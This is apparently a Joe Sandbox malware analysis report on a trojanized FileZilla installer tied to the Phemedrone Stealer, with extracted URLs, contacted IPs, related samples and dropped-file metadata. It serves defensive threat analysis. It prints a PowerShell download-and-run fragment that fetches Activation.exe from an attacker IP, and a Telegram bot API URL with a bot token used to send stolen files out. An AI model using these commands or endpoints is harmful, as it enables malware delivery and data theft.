https://github.com/Bayselonarrend/OpenIntegrationsdhttps://github.com/Bayselonarrend/OpenIntegration	rukT6hBo6P.exe, 00000000.00000003.1348693655.0000000003670000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000003.1353657698.0000000003600000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.storj.io/how-tos/set-up-filezilla-for-decentralized-file-transferDocsID_DOCShttps://sto	filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp	false		high
http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exit	powershell.exe, 0000000A.00000002.1734546131.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1790273722.0000000008542000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://filezilla-project.org/	filezilla.exe	false		high
http://get.geojs.iod	Activation.exe, 0000000E.00000002.2064893036.0000000003412000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://filezilla-project.org/privacy.phpPrivacy	filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://ion=v4.5e4	powershell.exe, 0000000A.00000002.1734673970.0000000002F4F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip.filezilla-project.org/ip.phpO	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000A.00000002.1763292257.0000000005D59000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.20	wscript.exe, 00000006.00000002.1621908923.0000000003060000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://ip.filezilla-project.org/ip.phpEl	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip.filezilla-project.org/ip.phpF	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://wiki.filezilla-project.org/Network_ConfigurationFren	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip.filezilla-project.org/ip.phpA	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://filezilla-project.org/support.php?type=client&mode=helpbugreport&version=ID_VIEW_QUICKCONNEC	filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp	false		high
http://ip.filezilla-project.org/ip.phpEp	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocumentd	Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
45.200.148.86	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	true
172.67.70.233	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
49.12.121.47	update.filezilla-project.org	Germany	24940	HETZNER-ASDE	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568339
Start date and time:	2024-12-04 15:10:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rukT6hBo6P.exe renamed because original name is a hash value
Original Sample Name:	db4ee2642140bd5f08d630af7ad59e0a3a24d46e20cae3fed455c8d0681016e4.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@22/1699@3/4
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, login.live.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Activation.exe, PID 2044 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: rukT6hBo6P.exe

Simulations

Behavior and APIs

Time	Type	Description
09:12:23	API Interceptor	41x Sleep call for process: powershell.exe modified
09:12:26	API Interceptor	2x Sleep call for process: filezilla.exe modified
09:12:48	API Interceptor	61x Sleep call for process: Activation.exe modified
09:13:04	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	gCK3ozTL7Q.ps1	Get hash	malicious	Phemedrone Stealer	Browse
	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse
	nfkciRoR4j.exe	Get hash	malicious	Xmrig	Browse
	fiyati_teklif 65W20_ B#U00fcy#U00fck BID mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	fiyati_teklif 65W20_ B#U00fcy#U00fck mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	Pagamento,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://www.bing.com/ck/a?!&&p=b3ddcc612c5f63024f18df0521265aa33742187d0b01744f07bf6348af8f753eJmltdHM9MTczMzE4NDAwMA&ptn=3&ver=2&hsh=4&fclid=26e9525e-8a77-6109-2437-46988be9608d&psq=superpitmachinery.com&u=a1aHR0cHM6Ly9zdXBlcnBpdG1hY2hpbmVyeS5jb20v&ntb/#fi-weixiang.ong@falconincorporation.com	Get hash	malicious	Unknown	Browse
45.200.148.86	gCK3ozTL7Q.ps1	Get hash	malicious	Phemedrone Stealer	Browse	45.200.148.86/Activation.exe
172.67.70.233	gCK3ozTL7Q.ps1	Get hash	malicious	Phemedrone Stealer	Browse
	system.exe	Get hash	malicious	Phemedrone Stealer	Browse
	upd.ps1	Get hash	malicious	Phemedrone Stealer	Browse
	DBp7mBJwqD.exe	Get hash	malicious	Phemedrone Stealer	Browse
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fkeyconserv.com%2Fskoda%2FWIA2PParYO43z1bgCVStAX12/ZHVjZXIua2FtZ2FuZ0BjbmVzc3QuZ291di5xYy5jYQ==	Get hash	malicious	Unknown	Browse
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Ffilmycurry.in%2Fskoda%2FBxs3IiLfKU2eWewQOro8W1Fa/dGVycmkucm9zYUByYXZlaXMuY29t	Get hash	malicious	Tycoon2FA	Browse
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bg%C2%ADloba%C2%ADlproc%C2%ADessi%C2%ADngne%C2%ADtwo%C2%ADrk.%E2%80%8Bne%C2%ADt%2Ffghd%2Fgfjfjfg%2FlZUdcjNeQOlJngwGts6Dr8m3/Y2hhZC5yYXNtdXNlbkB0aGVybW9zeXN0ZW1zLmNvbQ==	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://www.google.com/url?q=dCSMjVnvsqsqaP8pEWWm&rct=SpPq9HncUaCXUtCZusX0&sa=t&esrc=uZR6jk9A67Rj7RZhLuPE&source=&cd=eh0xIKCKpKh7i4kTt26p&cad=VEVtMkQKVNr1KW4fxShi&ved=NTDACygNXetEDbRT8YiY&uact=%20&url=amp/mithunaads.in/M%2f45043%2FaGFucy5hbmRlcnNvbkBhZy5zdGF0ZS5tbi51cw==	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bg%C2%ADloba%C2%ADlproc%C2%ADessi%C2%ADngne%C2%ADtwo%C2%ADrk%2E%E2%80%8Bne%C2%ADt%2Ffghd%2Fgfjfjfg%2FBpORLlSyDHhQozoQ5XBZtBNm/dGhvbHplckByZGd1c2EuY29t	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://g.page/r/CbPyKO_ogGK3EAg/review	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
49.12.121.47	FileZilla_3.67.1_win64_sponsored-setup.exe	Get hash	malicious	Unknown	Browse
	FileZilla_3.67.1_win64_sponsored-setup.exe	Get hash	malicious	Unknown	Browse
	A7eSEifPRD.exe	Get hash	malicious	Unknown	Browse
	A7eSEifPRD.exe	Get hash	malicious	Unknown	Browse
	https://download.filezilla-project.org/client/FileZilla_3.67.0_win64_sponsored2-setup.exe	Get hash	malicious	Unknown	Browse
	https://download.filezilla-project.org/client/FileZilla_3.67.0_win64_sponsored2-setup.exe	Get hash	malicious	Unknown	Browse
	https://download.filezilla-project.org/client/FileZilla_3.67.0_win64_sponsored2-setup.exe	Get hash	malicious	Unknown	Browse
	https://download.filezilla-project.org/client/FileZilla_3.67.0_win64_sponsored2-setup.exe	Get hash	malicious	Unknown	Browse
	https://download.filezilla-project.org/client/FileZilla_3.67.0_win64_sponsored2-setup.exe	Get hash	malicious	Unknown	Browse
	https://download.filezilla-project.org/client/FileZilla_3.67.0_win64_sponsored2-setup.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
get.geojs.io	gCK3ozTL7Q.ps1	Get hash	malicious	Phemedrone Stealer	Browse	172.67.70.233
	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	ZOL2mIYAUH.exe	Get hash	malicious	Phemedrone Stealer, PureLog Stealer, XWorm, zgRAT	Browse	104.26.0.100
	WDSecureUtilities(1).exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	system.exe	Get hash	malicious	Phemedrone Stealer	Browse	172.67.70.233
	B6EGeOHEFm.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	Q60ZbERXWZ.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	nuVM6HVKRG.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	XCubQJqiz7.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	upd.ps1	Get hash	malicious	Phemedrone Stealer	Browse	172.67.70.233
update.filezilla-project.org	FileZilla_3.67.1_win64_sponsored-setup.exe	Get hash	malicious	Unknown	Browse	49.12.121.47
	A7eSEifPRD.exe	Get hash	malicious	Unknown	Browse	49.12.121.47
	A7eSEifPRD.exe	Get hash	malicious	Unknown	Browse	49.12.121.47
	https://download.filezilla-project.org/client/FileZilla_3.67.0_win64_sponsored2-setup.exe	Get hash	malicious	Unknown	Browse	49.12.121.47
	https://download.filezilla-project.org/client/FileZilla_3.67.0_win64_sponsored2-setup.exe	Get hash	malicious	Unknown	Browse	49.12.121.47
	Filezillawin_94199_patched.exe	Get hash	malicious	Unknown	Browse	49.12.121.47
	Filezillawin_94199_patched.exe	Get hash	malicious	Unknown	Browse	49.12.121.47
	https://filezilla-project.org/download.php?type=client	Get hash	malicious	Unknown	Browse	49.12.121.47
	FileZilla_3.65.0_win64_sponsored-setup.exe	Get hash	malicious	CobaltStrike	Browse	49.12.121.47
	FileZilla_3.65.0_win64_sponsored-setup.exe	Get hash	malicious	CobaltStrike	Browse	49.12.121.47
s-part-0035.t-0009.t-msedge.net	https://indiollanero7nudos.com	Get hash	malicious	Unknown	Browse	13.107.246.63
	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse	13.107.246.63
	ShellHelper32.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	ShellHelper32.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	VaXmr82RIb.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	QwLii5vouB.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	sF5nNt8usL.bat	Get hash	malicious	Unknown	Browse	13.107.246.63
	oLY6JbNl9i.bat	Get hash	malicious	Unknown	Browse	13.107.246.63
	B3N4x4meoJ.bat	Get hash	malicious	Unknown	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	gCK3ozTL7Q.ps1	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.220
	nfkciRoR4j.exe	Get hash	malicious	Xmrig	Browse	149.154.167.220
	fiyati_teklif 65W20_ B#U00fcy#U00fck BID mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	o26qobnkQI.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	fiyati_teklif 65W20_ B#U00fcy#U00fck mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	xoJxSAotVM.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
CLOUDFLARENETUS	https://indiollanero7nudos.com	Get hash	malicious	Unknown	Browse	172.67.191.200
	JjUCGUKdtX.exe	Get hash	malicious	Unknown	Browse	104.21.27.3
	gCK3ozTL7Q.ps1	Get hash	malicious	Phemedrone Stealer	Browse	172.67.70.233
	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	T05Dk6G8fg.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.247.203
	wa6qrGANga.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.58.186
	3K5MXGVOJE.exe	Get hash	malicious	Unknown	Browse	104.16.185.241
	https://www.aviatorsharkao.com.br/atuuss	Get hash	malicious	Unknown	Browse	104.21.43.244
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	172.67.181.44
Africa-on-Cloud-ASZA	gCK3ozTL7Q.ps1	Get hash	malicious	Phemedrone Stealer	Browse	45.200.148.86
	nsharm.elf	Get hash	malicious	Mirai	Browse	156.228.63.29
	nsharm7.elf	Get hash	malicious	Mirai	Browse	156.228.141.214
	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	45.197.47.177
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	45.206.103.204
	arm5.nn-20241201-1515.elf	Get hash	malicious	Mirai, Okiru	Browse	154.200.41.70
	arm5.elf	Get hash	malicious	Mirai	Browse	156.228.141.234
	hmips.elf	Get hash	malicious	Mirai	Browse	156.228.63.79
	ppc.elf	Get hash	malicious	Mirai	Browse	156.228.38.78
	arm.elf	Get hash	malicious	Mirai	Browse	156.228.38.66

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	JjUCGUKdtX.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 172.67.70.233
	gCK3ozTL7Q.ps1	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220 172.67.70.233
	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220 172.67.70.233
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.220 172.67.70.233
	RzLnOTy9k3.lnk	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220 172.67.70.233
	QwLii5vouB.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 172.67.70.233
	https://cdn.tailwindcss.com	Get hash	malicious	Unknown	Browse	149.154.167.220 172.67.70.233
	fiyati_teklif 65W20_ B#U00fcy#U00fck BID mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220 172.67.70.233
	oLY6JbNl9i.bat	Get hash	malicious	Unknown	Browse	149.154.167.220 172.67.70.233
	4l5IFxl9t3.bat	Get hash	malicious	Unknown	Browse	149.154.167.220 172.67.70.233

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	3193
Entropy (8bit):	4.996156184369907
Encrypted:	false
SSDEEP:	96:wMewhrsJaqKRQDFeUne+WSZMqGjPhc3YyO6:wBaWB3ZMBjPq3YS
MD5:	6C0F745DF851F8C4D10E1789BFD19FF4
SHA1:	D01763320378FE2AF3A81D0166EAFCA3C0D0E713
SHA-256:	45F98D3DD4A9C7CF58D302E00EBB69A411C120FC4160E04304780DB03DFC2265
SHA-512:	6448FAE1693DB2D596859F9D14A5E4FC4C8E96D2081DCDD8D0C4F7B84655B8F2CE432D8482F073840F6DDEAA501423755B79F3E9C28A9453F8AEB9103ED0180A
Malicious:	false
Preview:	.Project leader:.Tim Kosse <tim.kosse@filezilla-project.org>..Mac port:.Andreas Jacobs..Translators:.- Lithuanian. Darius Zitkevicius.- Dutch. Nathan Samson. Reinout van Schouwen. Age Bosma. Gregory VdSteen. Tim van der Meij.- Chinese (Taiwan). Kene Lin.- Slovenian. Martin Srebotnjak. Iztok Osredkar.- Italian (Italy). Andrea Sanavia. Alessandro Barbieri. Vincenzo Reale. Riccardo Vianello.- Portuguese (Brazilian). Jonh Wendell. Francisco Jodevan Campelo. Victor Westmann. Mauro Araripe.- French (Canadian). H.l.ne Garant.- French (French). David Chaubet. Jean-S.bastien Bour. William Gathoye.- Chinese (Simplified). Emfox Zhou. Sun Junwen.- Korean. Jinwook Kim. Jungman Seo.- Galician. Ignacio Agull.. Iv.n M.ndez L.pez.- Turkish. Bogac Guven. Ozan Hacibekiroglu.- Spanish. Carlos Aiello. Samuel Aguilera. Cristina Yenyxe Gonz.lez Garc.a.- Norwegian Bokm.l. Eirik Hodne. .ka Sikrom.

C:\Program Files (x86)\Fzilla\GPL.html (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	16153
Entropy (8bit):	4.851915743894722
Encrypted:	false
SSDEEP:	192:tiMUzQS+LrQWJz6Z6q6pdPIK8kV6AWRzdbDaz0pmN1rMbkBJ9R8/CmBHf3KWkc:tZUz5irJq6jIuV6fRzd3c0pmbMCzRLw7
MD5:	11E176C5E0120EE94E365F999084BCE8
SHA1:	A612F6D40D0D2AE045D80B60BCE6FB6F81A811EF
SHA-256:	F7E89C1EDBBEF8BC837B47C48113A2416F1AF0CFC2B2218DA39085465EA1045C
SHA-512:	D0532DF4FE5E995DF49F3E58127F5FC9637FC4F1AFBB29E92AD16897C1055F77963277F5143458B9A294D1C24559BC594E0AE5469271ECE639C8E66A5555D5A3
Malicious:	false
Preview:	<!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML>.<HEAD>.<TITLE>GNU General Public License</TITLE>.</HEAD>.<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#1F00FF" ALINK="#FF0000" VLINK="#9900DD">.<H1>GNU General Public License</H1>.<P>.Version 2, June 1991..</P>..<PRE>.Copyright (C) 1989, 1991 Free Software Foundation, Inc..59 Temple Place - Suite 330, Boston, MA 02111-1307, USA..Everyone is permitted to copy and distribute verbatim copies.of this license document, but changing it is not allowed..</PRE>....<H2>Preamble</H2>..<P>. The licenses for most software are designed to take away your.freedom to share and change it. By contrast, the GNU General Public.License is intended to guarantee your freedom to share and change free.software--to make sure the software is free for all its users. This.General Public License applies to most of the Free Software.Foundation's software and to any other program whose authors commit to.using it. (Some other Free Software Foundation softwa

C:\Program Files (x86)\Fzilla\License.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	Unicode text, UTF-8 text, with very long lines (1060), with CRLF line terminators
Category:	dropped
Size (bytes):	8547
Entropy (8bit):	4.973400887179221
Encrypted:	false
SSDEEP:	192:76eMbZsSUz+AZdq9hjx+7MH1FoyUrYyU/vfIqzhMdlli:eWS0e9htKhrsvf9mlw
MD5:	ECF059E5EC3B13ED8B16ADA77C52DCA6
SHA1:	D0412240A4601D4684CBC60E473913DECCF141E4
SHA-256:	E02FA2BEDE41AC0E5FFC13D43784B644A77E74AA1692189E51A41F506F8CF36F
SHA-512:	EEFAC4275EF17E2D95AF66CBC2BD8A24B896C2F228E821E94296F1BDFF56695A97209432DAD2C72BA5F5F72764D0AFE67658E03670D2012ECE55156408A791D6
Malicious:	false
Preview:	4K Video Downloader End-User License Agreement....IMPORTANT: THIS SOFTWARE END USER LICENSE AGREEMENT ("EULA") IS A LEGAL AGREEMENT BETWEEN YOU AND COMPANY ("OPEN MEDIA OOO"). USE OF THE SOFTWARE PROVIDED WITH THIS EULA (THE "SOFTWARE") CONSTITUTES YOUR ACCEPTANCE OF THESE TERMS. READ IT CAREFULLY BEFORE COMPLETING THE INSTALLATION PROCESS AND USING THE SOFTWARE. IF YOU DO NOT AGREE TO THE TERMS OF THIS EULA, DO NOT INSTALL AND/OR USE THIS SOFTWARE. BY INSTALLING, COPYING, OR OTHERWISE USING THE SOFTWARE PRODUCT, YOU AGREE TO BE BOUND BY THE TERMS OF THIS EULA.....1. LICENSE GRANT. The Software is licensed on per user basis. "User" means the company, entity or individual whose funds are used to pay the license fee. "Use"means storing, loading, installing, executing or displaying the Software. You may not modify the Software or disable any licensing or control features of the Software except as an intended part of the Software programming features. This license is not transferable to an

C:\Program Files (x86)\Fzilla\NEWS (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	121547
Entropy (8bit):	4.837305256829653
Encrypted:	false
SSDEEP:	1536:O7XfvUwBWWjVQLFGoTZ9XHQTbyGaU5A+tKvdTLGYKlTVu:kfvH8LTZ2T0sdmIRu
MD5:	326491281E95D6D7695CA7935D45D5B8
SHA1:	4DCFEEB96AFFEC72BBF78DB3901DFA6D6456B3B7
SHA-256:	F2603ABF98CEBF72C1F4A5C92BA9FF6C9284E3E35867F94B69735E0ED4472E9B
SHA-512:	E6C35F0D488F1BEDD08F4D871C051E5FDF6D5B9EA2C55096572E5F9CB9C8F8180D1EE69712994B963F7ACAC77F39977F1D4592A2D07948855BAE9CB6DF0499AB
Malicious:	false
Preview:	This file only lists a short summary of the changes between FileZilla versions. For a full list of changes, please read the ChangeLog file...Legend:. ! Security related bugfix or otherwise critical bugfix. + New feature or important bugfix. - Bugfixes and other changes.. Platform prefixes:. MSW: Microsoft Windows. *nix: Unix (e.g BSD) and Unix-like systems (e.g. Linux). macOS/OS X: Apple macOS..3.67.1 (2024-07-10)..- MSW: Fixed an issue with confirmation dialogs for file deletion not being modal.- Updated to libfilezilla 0.48.1..3.67.1-rc1 (2024-06-27)..- Fixed an issue migrating old queue files if several older versions have been skipped.- Updated to libfilezilla 0.48.0..3.67.0 (2024-04-15)..! SFTP: Fixed PuTTY ECDSA NIST P-521 private key recovery vulnerability (CVE-2024-31497). If you use NIST P-521 keys to connect to SSH/SFTP servers, you should regenerate them and revoke the previous ones..! Official binaries are now built against GnuTLS 3.8.4.- Updated to libfilezill

C:\Program Files (x86)\Fzilla\docs\fzdefaults.xml.example (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	3023
Entropy (8bit):	4.733327350767193
Encrypted:	false
SSDEEP:	48:cvNHZHNyJXQ4JJ76VL1x1V7Jycac7uIMctrK4CunN38cBM:CJTR4e1NTac6au4CK3nM
MD5:	BC0AFACD8028E222472BB32474DB8148
SHA1:	826F5EC70527440C72E0BE67CD4744D95F45F288
SHA-256:	0D2E249A171A07A0B412C9F3ECA041E772D530991D6333F9C96600C8C0935027
SHA-512:	D65AC28F18AE9886F05F19FEB209B6B26199C9353928F304ED705EFA9E0632B66442FDE52E6FCABDC81A9B3B42BB3A751DF5E08929ACEA14ECBFB43294214664
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>.. fzdefaults.xml documentation.. The file fzdefaults.xml is used to provide system-wide default settings for. FileZilla... Usage:.. - Windows:.. Put the file fzdefaults.xml into the same directory as filezilla.exe.. - OS X:.. Modify the app bundle, put fzdefaults.xml into the. Contents/SharedSupport/ subdirectory.. - Other:.. Put fzdefaults.xml into one of the following directories (in order of precedence):.. - ~/.filezilla. - /etc/filezilla. - share/filezilla subdirectory of the install prefix... Default site manager entries:.. Create some new Site Manager entries and export the list of sites. Rename. the resulting XML file to fzdefaults.xml or copy the <Servers> block in it. to fzdefaults.xml. See example below... Global configuration settings.. Location of settings directory:.. By default, FileZilla stores its settings in the user's home directory. If.

C:\Program Files (x86)\Fzilla\docs\is-2JSOP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	3023
Entropy (8bit):	4.733327350767193
Encrypted:	false
SSDEEP:	48:cvNHZHNyJXQ4JJ76VL1x1V7Jycac7uIMctrK4CunN38cBM:CJTR4e1NTac6au4CK3nM
MD5:	BC0AFACD8028E222472BB32474DB8148
SHA1:	826F5EC70527440C72E0BE67CD4744D95F45F288
SHA-256:	0D2E249A171A07A0B412C9F3ECA041E772D530991D6333F9C96600C8C0935027
